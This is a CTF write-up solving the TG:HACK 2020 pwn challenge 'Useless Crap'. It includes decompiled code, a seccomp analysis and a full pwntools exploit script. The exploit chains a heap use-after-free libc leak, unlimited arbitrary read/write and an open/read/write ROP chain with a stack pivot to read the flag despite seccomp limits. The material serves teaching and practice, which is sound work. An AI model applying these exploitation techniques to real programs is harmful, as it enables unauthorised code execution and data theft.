TG:HACK 2020 Useless Crap
Challenge Details
Event | Challenge | Category | Link |
---|---|---|---|
TG:Hack CTF 2020 | Useless Crap | PWN | https://ctftime.org/event/932 |
Description
Here’s some useless crap for you. The flag is at /home/crap/flag.txt.
nc crap.tghack.no 6001
or use a mirror closer to you:
- nc us.crap.tghack.no 6001 (US)
- nc asia.crap.tghack.no 6001 (Japan)
files:
TL;DL
-
Leak Libc address through unsorted bin chunks UAF
-
Get infinte arbitary read/write/heap allocations
-
Write open/read/write ROP chain after srip of main function using allowed syscalls
-
Stack pivot to our ROP chain and read flag.txt
TGHack 2020 had some challenging PWN tasks, and Useless Crap was one of the hardest that we were able to solve during the CTF with our teammate Aracna.
As Detailed in the description of the challenge, the author provided the necessary files to run the binary as intended, our first thought was how to patch the binary to use the provided libc and ld files instead of our system libraries. Because this will make it easier for us when developing our exploit in a way that offsets are the same locally and remotely.
To make this happen we always patch the binary using the method described at Using Non-system Glibc
$ mv crap old_crap
$ python patch_binary.py crap libc.so.6 ld-2.31.so new_crap
Current ld.so:
Path: /usr/local/lib/ld-linux-x86-64.so.2
New ld.so:
Path: /home/anisboss/pwn/tg/pwn/crap/patch/ld-2.31.so
Adding RUNPATH:
Path: /home/anisboss/pwn/tg/pwn/crap/patch
Writing new binary new_crap
Please rename /home/anisboss/pwn/tg/pwn/crap/patch/libc.so.6 to /home/anisboss/pwn/tg/pwn/crap/patch/libc.so.6.
$ ldd new_crap
linux-vdso.so.1 (0x00007ffd93345000)
libseccomp.so.2 => /usr/lib/x86_64-linux-gnu/libseccomp.so.2 (0x00007f8b6de51000)
libc.so.6 => /home/anisboss/pwn/tg/pwn/crap/patch/libc.so.6 (0x00007f8b6da96000)
/home/anisboss/pwn/tg/pwn/crap/patch/ld-2.31.so => /lib64/ld-linux-x86-64.so.2 (0x00007f8b6eed4000)
As u can see the new binary is linked to the provided libraries instead of the standard system libc/ld. In this way we can start running the binary and developing our exploit in the same environment as the remote server.
Reverse Engineering
Opening up the binary in IDA, reveals a seccomp filters before starting the main function, which is a filter to block certain syscalls, based on the syscall number .
scmp_filter_ctx v0 = seccomp_init(0);
v2 = v0;
if ( !v0 )
{
puts("seccomp_init() error");
exit(1);
}
seccomp_rule_add(v0, 2147418112LL, 0LL, 1LL); // read syscall
seccomp_rule_add(v2, 2147418112LL, 231LL, 0LL); // exit_group syscall
seccomp_rule_add(v2, 2147418112LL, 1LL, 1LL); // write syscall
seccomp_rule_add(v2, 2147418112LL, 10LL, 0LL); // mprotect syscall
seccomp_rule_add(v2, 2147418112LL, 2LL, 0LL); // open syscall
seccomp_rule_add(v2, 2147418112LL, 3LL, 0LL); // close syscall
if ( seccomp_load(v2) < 0 )
{
seccomp_release(v2);
puts("seccomp_load() error");
exit(1);
}
return seccomp_release(v2);
}
Using seccomp-tools, we can get the following table
$ seccomp-tools dump ./new_crap
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x12 0xc000003e if (A != ARCH_X86_64) goto 0020
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x0f 0xffffffff if (A != 0xffffffff) goto 0020
0005: 0x15 0x0d 0x00 0x00000002 if (A == open) goto 0019
0006: 0x15 0x0c 0x00 0x00000003 if (A == close) goto 0019
0007: 0x15 0x0b 0x00 0x0000000a if (A == mprotect) goto 0019
0008: 0x15 0x0a 0x00 0x000000e7 if (A == exit_group) goto 0019
0009: 0x15 0x00 0x04 0x00000000 if (A != read) goto 0014
0010: 0x20 0x00 0x00 0x00000014 A = args[0] >> 32
0011: 0x15 0x00 0x08 0x00000000 if (A != 0x0) goto 0020
0012: 0x20 0x00 0x00 0x00000010 A = args[0]
0013: 0x15 0x05 0x06 0x00000000 if (A == 0x0) goto 0019 else goto 0020
0014: 0x15 0x00 0x05 0x00000001 if (A != write) goto 0020
0015: 0x20 0x00 0x00 0x00000014 A = args[0] >> 32
0016: 0x15 0x00 0x03 0x00000000 if (A != 0x0) goto 0020
0017: 0x20 0x00 0x00 0x00000010 A = args[0]
0018: 0x15 0x00 0x01 0x00000001 if (A != 0x1) goto 0020
0019: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0020: 0x06 0x00 0x00 0x00000000 return KILL
We can see that execve and execveat are blocked, which means no shell for us, fork/vfork/clone are blocked, so we can’t create new processes that are free of these seccomp restrictions. Our approach is to use ORW (open read write) capabilities but we should keep in mind that at lines 11-13 the program checks the first argument passed to read syscall and verify if it’s equal to 0 or not. If it’s the case then we will be allowed else the syscall will be blocked which means that we can only read from stdin with same analogy we can write only to stdout.
Now moving to the main function, the program defines two major functions do_read() and do_write() which are made for arbitrary 8 bytes read/write . this functions can be called only twice but this will be bypassed later.
// read from arbitrary address
__int64 do_read()
{
__int64 *v1; // [sp+8h] [bp-18h]@3
__int64 v2; // [sp+10h] [bp-10h]@3
__int64 v3; // [sp+18h] [bp-8h]@1
v3 = *MK_FP(__FS__, 40LL);
if ( read_count <= 1 )
{
printf("addr: ");
__isoc99_scanf("%lx", &v1);
empty_newline();
v2 = *v1;
printf("value: %p\n", v2);
++read_count;
}
else
{
puts("No more reads for you!");
}
return *MK_FP(__FS__, 40LL) ^ v3;
}
// write 8 bytes to arbitrary address
__int64 do_write()
{
_QWORD *v1; // [sp+8h] [bp-18h]@3
__int64 v2; // [sp+10h] [bp-10h]@3
__int64 v3; // [sp+18h] [bp-8h]@1
v3 = *MK_FP(__FS__, 40LL);
if ( write_count <= 1 )
{
printf("addr/value: ");
__isoc99_scanf("%lx %lx", &v1);
empty_newline("%lx %lx", &v1);
*v1 = v2;
++write_count;
}
else
{
puts("No more writes for you!");
}
return *MK_FP(__FS__, 40LL) ^ v3;
}
beyond that, there were another two functions leave_feedback and view_feedback which basically let you write into long heap chunks using calloc function and view that content.
//create large chunk
void leave_feedback()
{
char *v0; // rsi@5
char v1; // [sp+Fh] [bp-1h]@5
if ( feedback )
{
puts("that's enough feedback for one day...");
}
else
{
feedback = (char *)calloc(1uLL, 0x501uLL);
printf("feedback: ", 1281LL);
if ( !fgets(feedback, 1280, stdin) )
exit(1);
v0 = feedback;
printf("you entered: %s\n", feedback);
puts("Do you want to keep your feedback? (y/n)");
v1 = getchar();
empty_newline("Do you want to keep your feedback? (y/n)", v0);
if ( v1 != 121 && v1 == 110 )
free(feedback);
}
}
// view created chunk content
int view_feedback()
{
int result; // eax@2
if ( feedback )
result = printf("feedback: %s\n", feedback);
else
result = puts("Leave feedback first!");
return result;
}
Exploitation
Since the binary has PIE enabled we couldn’t use the read/write functions until we get a leak. which is somehow trivial in our case using the following process:
-
Allocate a chunk using leave_feedback function and free it and since the seccomp filters uses heap to allocate its rules the freed chunk will never be merged with top chunk and considering the big size of allocation is 0x501 the freed chunk will go to unsorted bin because tcache bins can only holds size lower then 0x408.
-
The freed chunk’s data (FD and BK pointers) now holds a libc address that we will use in view_feedback to print its content because the author doesn’t check if the chunk if freed or not before passing it to puts function thus trigger a UAF that leads to leaking libc address.
We start by implementing the functions needed to communicate with the binary.
from pwn import *
def leave_feedback(s,feedback,free=True):
s.sendlineafter("> ","3")
s.sendline(feedback)
if free:
s.sendline("n")
else:
s.sendline("y")
def view_feedback(s):
s.sendlineafter("> ","4")
s.recvuntil("feedback: ")
data = s.recvuntil("\n").strip()
return data
p = process("./new_crap")
leave_feedback(p,"abc")
libc_addr = view_feedback(p)
leaked_fd = u64(libc_addr.ljust(8,"\x00"))
print "leaked address :",hex(leaked_fd)
Running the above snippet give us the libc address
$ python sploit.py
[+] Starting local process './new_crap': pid 28823
leaked address : 0x7f24bb47abe0
[*] Stopped process './new_crap' (pid 28823)
Now we got the libc address, we need to calculate the libc base and the different useful offsets that we will need later. We can do this by setting a breakpoint or attaching the process while being in interactive mode. We prefer the second method.
gdb-peda$ vmmap
Start End Perm Name
0x0000563fdba91000 0x0000563fdba96000 r-xp /home/anisboss/pwn/tg/pwn/crap/final/final
0x0000563fdbc95000 0x0000563fdbc96000 r--p /home/anisboss/pwn/tg/pwn/crap/final/final
0x0000563fdbc96000 0x0000563fdbc97000 rw-p /home/anisboss/pwn/tg/pwn/crap/final/final
0x0000563fdbe97000 0x0000563fdbe98000 rw-p /home/anisboss/pwn/tg/pwn/crap/final/final
0x0000563fdc298000 0x0000563fdc299000 r--p /home/anisboss/pwn/tg/pwn/crap/final/final
0x0000563fdca99000 0x0000563fdca9a000 r--p /home/anisboss/pwn/tg/pwn/crap/final/final
0x0000563fdd802000 0x0000563fdd823000 rw-p [heap]
0x00007fb2d5139000 0x00007fb2d52eb000 r-xp /home/anisboss/pwn/tg/pwn/crap/final/libc.so.6
0x00007fb2d52eb000 0x00007fb2d54ea000 ---p /home/anisboss/pwn/tg/pwn/crap/final/libc.so.6
0x00007fb2d54ea000 0x00007fb2d54ee000 r--p /home/anisboss/pwn/tg/pwn/crap/final/libc.so.6
0x00007fb2d54ee000 0x00007fb2d54f0000 rw-p /home/anisboss/pwn/tg/pwn/crap/final/libc.so.6
0x00007fb2d54f0000 0x00007fb2d54f4000 rw-p mapped
[...]
0x00007fb2d54f4000 0x00007fb2d551c000 r-xp /home/anisboss/pwn/tg/pwn/crap/final/ld-2.31.so
0x00007fb2d571b000 0x00007fb2d571c000 r--p /home/anisboss/pwn/tg/pwn/crap/final/ld-2.31.so
0x00007fb2d571c000 0x00007fb2d571d000 rw-p /home/anisboss/pwn/tg/pwn/crap/final/ld-2.31.so
0x00007fb2d571d000 0x00007fb2d571e000 rw-p mapped
0x00007fff7ab85000 0x00007fff7aba6000 rw-p [stack]
0x00007fff7abd1000 0x00007fff7abd4000 r--p [vvar]
0x00007fff7abd4000 0x00007fff7abd6000 r-xp [vdso]
gdb-peda$ p 0x7fb2d54eebe0 - 0x00007fb2d5139000
$1 = 0x3b5be0 //offset from libc base
The next step is to get infinite read/write primitive in order to read and write data to bypass the restriction made in the binary. To do this we need to get the address of variables write_count and read_count located in .bss.
In order to leak a stack address from libc, There is a symbol environ in libc, whose value is the same as the third argument of main
function, char **envp. The value of char **envp is on the stack, thus we can leak stack address with this symbol.
$ readelf -s ./libc.so.6 |grep -i environ
299: 00000000003b8618 8 OBJECT WEAK DEFAULT 32 _environ@@GLIBC_2.2.5
1021: 00000000003b8618 8 OBJECT WEAK DEFAULT 32 environ@@GLIBC_2.2.5
1373: 00000000003b8618 8 OBJECT GLOBAL DEFAULT 32 __environ@@GLIBC_2.2.5
405: 00000000003b6c78 8 OBJECT LOCAL DEFAULT 32 last_environ
1817: 0000000000000000 0 FILE LOCAL DEFAULT ABS environ.c
4800: 0000000000037d10 953 FUNC LOCAL DEFAULT 13 __add_to_environ
6190: 00000000003b8618 8 OBJECT WEAK DEFAULT 32 _environ
6916: 00000000003b8618 8 OBJECT GLOBAL DEFAULT 32 __environ
7031: 00000000003b8618 8 OBJECT WEAK DEFAULT 32 environ
Since at first we have only two shots for both read and write functions let’s use the read at first to read the stack address then we will look into the stack for an address pointing to our binary when found we calculate the distance between that address and binary base then we conclude the address of write_count/read_count. Now we got what we need, let’s develop the write/read functions in our exploit and get the needed values.
from pwn import *
def read(s,addr):
s.sendlineafter("> ","1")
s.sendlineafter("addr: ",addr)
p.recvuntil("value: ")
leaked = p.recvline()
return leaked.strip()
def write(s,addr,value):
s.sendlineafter("> ","2")
s.sendline(hex(addr)+ " " + hex(value))
def leave_feedback(s,feedback,free=True):
s.sendlineafter("> ","3")
s.sendline(feedback)
if free:
s.sendline("n")
else:
s.sendline("y")
def view_feedback(s):
s.sendlineafter("> ","4")
s.recvuntil("feedback: ")
data = s.recvuntil("\n").strip()
return data
p = process("./new_crap")
leave_feedback(p,"abc")
libc_addr = view_feedback(p)
leaked_fd = u64(libc_addr.ljust(8,"\x00"))
print "leaked address :",hex(leaked_fd)
base = leaked_fd - 3890144
print "libc_base : ",hex(base)
environ = base + 0x00000000003b8618
print "environ_libc : ",hex(environ)
leaked_stack = int(read(p,hex(environ)),16)
print "leaked_stack : ",hex(leaked_stack)
to_leak = leaked_stack -264
leaked_bin = int(read(p,hex(to_leak)),16)
bin_base = leaked_bin - 4640
print "binary base : ",hex(bin_base)
bss = bin_base + 0x0000000000205010
write_count = bin_base+0x0000000000202034
feedback = write_count+0x4
read_count = write_count - 0x4
print "feedback: ",hex(feedback)
print "write_count: ",hex(write_count)
print "read_count: ",hex(read_count)
#gdb.attach(p)
p.interactive()
$ python sploit.py
[+] Starting local process './new_crap': pid 29333
leaked address : 0x7fba2c791be0
libc_base : 0x7fba2c3dc000
environ_libc : 0x7fba2c794618
leaked_stack : 0x7fff22ca9f88
binary base : 0x555a6cb69000
feedback: 0x555a6cd6b038
write_count: 0x555a6cd6b034
read_count: 0x555a6cd6b030
[*] Switching to interactive mode
> $
Now we have the addresses of write_count and read_count variables, and since the binary is making a signed comparison , we can put negative values in our case we will choose -200 which is in hex 0xffffff38.
write(p,read_count,0)
write(p,write_count,4294967096)
Our methodology is to build a ROP chain, at first we tried to overwrite manually the return pointer of do_write() function with leave ; ret gadget after performing those instructions the program returned to saved return pointer of the main function so if we overwrite srip of main with our gadgets we can successfully pivot to our ROP chain.
To do so, following the seccomp rules defined in the binary we should construct an open/read/write rop chain. And since we are allowed only to read from stdin therefore the File Descriptor returned by open syscall must be 0.
as we know that FDs 0,1,2 are reserverd by stdin,stdout and stderr respectively. Open operation will return the first free FD (starting from 0) ; so if we perform a close(0) call before opening the flag file ; the next open syscall will find the FD 0 is free and will assign it to the opened file.
To Build such ropchain, we need to find gadgets to control the different registers rax,rdi,rsi,rdx we can get these useful gadgets from libc using the ropper tool.
$ ropper --file ./libc.so.6 --search 'pop r?x; ret;|pop r?i; ret;'
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop r?x; ret;|pop r?i; ret;
[INFO] File: ./libc.so.6
0x0000000000038e88: pop rax; ret;
0x000000000002bc45: pop rbx; ret;
0x0000000000021882: pop rdi; ret;
0x0000000000001b9a: pop rdx; ret;
0x0000000000022192: pop rsi; ret;
We need to store the flag path somewhere, we chose heap since we have a function that allocates a chunk with controlled data for us. Before that we need to overwrite feedback variable with 0 in order to be able to use leave_feedback again. The Foward Pointer leaked in the first step contains a heap pointer we will use the do_read() to leak its content thus we can calculate the flag path address which is the address of the new allocated chunk.
leaked_heap=int(read(p,hex(leaked_fd)),16)
print "leaked_heap :",hex(leaked_heap)
flag_file=leaked_heap-0x1260
print "flag_file :",hex(flag_file)
write(p,feedback,0)
leave_feedback(p,"/home/crap/flag.txt\x00",False) #flag path will be at flag_file address
Our next step is to construct the final ROP chain using obtained gadgets.
pop_rax = base+0x0000000000038e88
syscall_ret = base+0x0000000000039049
pop_rdi = base + 0x0000000000021882
pop_rsi = base + 0x0000000000022192
pop_rdx = base + 0x0000000000001b9a
leave_ret = base + 0x0000000000040222
rop_chain=[
pop_rdi,
0,
pop_rax,
3,
syscall_ret, #close(0)
pop_rdi,
flag_file,
pop_rsi,
0,
pop_rax,
0x2,
pop_rdx,
0,
syscall_ret, #open(flag_file,0,0) <== this will return 0 as File Descriptor
pop_rdi,
0,
pop_rsi,
flag_file,
pop_rdx,
0x100,
pop_rax,
0x0,
syscall_ret,#read(0,flag_file,0x100)
pop_rdi,
1,
pop_rsi,
flag_file,
pop_rdx,
0x100,
pop_rax,
0x1,
syscall_ret #write(1,flag_file,0x100)
]
Now we just need to calculate the srip of main and do_write functions and place our ROP chain in the stack.
The final exploit:
from pwn import *
def read(s,addr):
s.sendlineafter("> ","1")
s.sendlineafter("addr: ",addr)
p.recvuntil("value: ")
leaked = p.recvline()
return leaked.strip()
def write(s,addr,value):
s.sendlineafter("> ","2")
s.sendline(hex(addr)+ " " + hex(value))
def leave_feedback(s,feedback,free=True):
s.sendlineafter("> ","3")
s.sendline(feedback)
if free:
s.sendline("n")
else:
s.sendline("y")
def view_feedback(s):
s.sendlineafter("> ","4")
s.recvuntil("feedback: ")
data = s.recvuntil("\n").strip()
return data
p = process("./new_crap")
leave_feedback(p,"abc")
libc_addr = view_feedback(p)
leaked_fd = u64(libc_addr.ljust(8,"\x00"))
print "leaked address :",hex(leaked_fd)
base = leaked_fd - 3890144
print "libc_base : ",hex(base)
environ = base + 0x00000000003b8618
print "environ_libc : ",hex(environ)
leaked_stack = int(read(p,hex(environ)),16)
print "leaked_stack : ",hex(leaked_stack)
to_leak = leaked_stack -264
leaked_bin = int(read(p,hex(to_leak)),16)
bin_base = leaked_bin - 4640
print "binary base : ",hex(bin_base)
bss = bin_base + 0x0000000000205010
write_count = bin_base+0x0000000000202034
feedback = write_count+0x4
read_count = write_count - 0x4
print "feedback: ",hex(feedback)
print "write_count: ",hex(write_count)
print "read_count: ",hex(read_count)
write(p,read_count,0)
write(p,write_count,4294967096)
leaked_heap=int(read(p,hex(leaked_fd)),16)
print "leaked_heap :",hex(leaked_heap)
flag_file=leaked_heap-0x1260
print "flag_file :",hex(flag_file)
write(p,feedback,0)
leave_feedback(p,"/home/crap/flag.txt\x00",False) #flag path will be at flag_file address
eip_main=leaked_stack-256
eip_do_write=eip_main-32
print "seip_main: ",hex(eip_main)
print "seip_do_write: ",hex(eip_do_write)
pop_rax = base+0x0000000000038e88
syscall_ret = base+0x0000000000039049
pop_rdi = base + 0x0000000000021882
pop_rsi = base + 0x0000000000022192
pop_rdx = base + 0x0000000000001b9a
leave_ret = base + 0x0000000000040222
rop_chain=[
pop_rdi,
0,
pop_rax,
3,
syscall_ret, #close(0)
pop_rdi,
flag_file,
pop_rsi,
0,
pop_rax,
0x2,
pop_rdx,
0,
syscall_ret, #open(flag_file,0,0) <== this will return 0 as File Descriptor
pop_rdi,
0,
pop_rsi,
flag_file,
pop_rdx,
0x100,
pop_rax,
0x0,
syscall_ret,#read(0,flag_file,0x100)
pop_rdi,
1,
pop_rsi,
flag_file,
pop_rdx,
0x100,
pop_rax,
0x1,
syscall_ret #write(1,flag_file,0x100)
]
#write our rop chain in the stack
for i in range(len(rop_chain)):
write(p,eip_main+(i*8),rop_chain[i])
#pause()
write(p,eip_do_write,leave_ret)
p.interactive()
And Here we go \o/ !